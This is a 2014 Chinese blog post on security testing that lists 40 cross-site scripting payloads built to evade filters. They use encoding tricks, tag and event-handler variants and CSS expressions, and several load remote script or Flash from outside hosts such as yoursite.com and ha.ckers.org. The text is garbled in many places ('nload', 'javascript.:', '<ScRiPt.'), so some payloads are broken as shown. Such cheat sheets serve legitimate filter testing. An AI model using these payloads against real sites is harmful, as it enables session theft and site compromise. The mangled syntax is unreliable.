XSS的40种变形【安全测试】

上一篇 / 下一篇  2014-04-30 09:54:20 / 个人分类:安全测试


XSS case


Xss代码可以有很多变形,可以是下面列子的变形组合。

1、 最简单最常用的测试代码:

<script>alert(“xss”)</script> 输入框或者url参数。

2、 闭合前面的标签:<input type=”text” value=””>

“><script>alert(“xss”)</script><a=”

3、 绕过引号过滤,过滤机制检测我们的输入一旦检测到单引号就加上\转义字符

使用html字符实体,如$#34;&quot;均表示双引号&quot;><script>alert(&quot;xss&quot;)</script>

4、 使用javascript中的fromCharCode函数,用于将ascii转化成字符

<script>String.fromCharCode(97,108,101,114,116)(String.fromCharCode(88,83,83))</script>

5、 <ScRiPt. alert(“xss”);</ScRiPt>

6、 <Scriscriptpt>alert(“xss”);<scriScriptpt> 过滤时使用递归算法才能彻底过滤这种情况

不使用script标签

7、 我们可以使用<body nload=”alert(‘xss’)”>

8、 <img src=a nerror=”javascript.:alert(‘xss’)”>

9、 <input type=”text” name=”username” nclick=”javascript.:alert(‘xss’)”>

10、             onActivateonfocus事件:

<input type=”text” name=”username” nActivate=”javascript.:alert(‘xss’)”>

<input type=”text” name=”username” nfocus=”javascript.:alert(‘xss’)”>

理论上所有的事件都可以用来绑定js命令,不再一一列举

http://www.w3school.com.cn/htmldom/dom_obj_event.asp

<img>标签

11、             标准例子:<img src=”javascript.:alert(‘xss’);”>还有一些变形

12、             <img src=javascript.:alert(‘xss’)>

13、             <img src=javascript.:alert(&quot;xss&quot;)>

14、             <img src=javascript.:alert(String.fromCharCode(88,83,83))>

15、             或者全部转化为ascii码:<img src=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101; &#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;>

16、             还可以转化成16进制,

<img src=&#x6A;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3A;&#x61;&#x6C;& #x65;&#x72;&#x74;&#x28;&#x27;&#x58;&#x53;&#x53;&#x27;&#x29;>

制表符、换行符、回车

17、             <img src="jav   ascript.:alert('XSS');"> 加入空格

18、             <img src=”jav&#x9ascript.:alert(‘xss’);”>

19、             <img src=”jav&#xAascript.:alert(‘xss’);”>

20、             <img src=”jav&#13ascript.:alert(‘xss’);”>

21、             空字符,有的过滤器认为空字符就代表着字符串的结束

<scri%00pt>alert(‘xss’);</script> (IE6IE7)

22、             双引号配对

<img """><SCRIPT>alert('XSS')</SCRIPT>">,浏览器会解析成<img><script>alert('xss')</script>"&gt;

23、             <SCRIPT. "a='>'" SRC="http://yoursite.com/xss.js"></SCRIPT>也可以换用<,或者混合使用

24、             转义字符的使用,<img src=’javascript.:alert(\”xss\”)’>,如果过滤器遇到双引号就转义,我们的\可以绕过该过滤方法。

        通过css插入

25、             <link rel=”stylesheet” herf=”javascript.:alert(‘xss’);”> (IE6opera)

26、             <style. a { width: expression(alert(‘xss’)) }</style>

27、             <div style=”width: expression(alert(‘xss’));”>

28、             <STYLE>@import'http://yoursite.com/xss.css';</STYLE>

29、             <img style="xss:expr/*XSS*/ession(alert('XSS'))">

30、             利用iframe. <iframe. SRC="javascript.:alert('XSS');"></iframe>

31、             <FRAMESET><FRAME. SRC="javascript.:alert('XSS');"></FRAMESET>

32、             table标签<TABLE BACKGROUND="javascript.:alert('XSS')">

33、             <TABLE><TD BACKGROUND="javascript.:alert('XSS')">

34、             <SCRIPT. SRC="http://ha.ckers.org/xss.jpg"></SCRIPT> xss.jpg实际上是一个js文件

35、     <SCRIPT>document.write("<SCRI");</SCRIPT>PT SRC="http://yoursite.com/xss.js"></SCRIPT>

36、             <script. src=http://yoursite.com/xss.js?<B> 浏览器会自己纠正我们的语法错误

37、             <BASE HREF="javascript.:alert('XSS');//">利用base标签

38、             <OBJECT TYPE="text/x-scriptlet" DATA="http://yoursite.com/xss.html"></OBJECT>利用object标签。

39、             <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>利用embed标签,可以插入代码恶意代码的flash文件。

40、             <META. HTTP-EQUIV=”refresh” CONTENT=”0; URL=http://;URL=javascript.:alert(‘XSS’);”>

 


TAG:

引用 删除 gaojing888   /   2014-05-07 11:44:20
引用 删除 gaojing888   /   2014-05-07 11:43:30
5
 

评分:0

我来说两句

Open Toolbar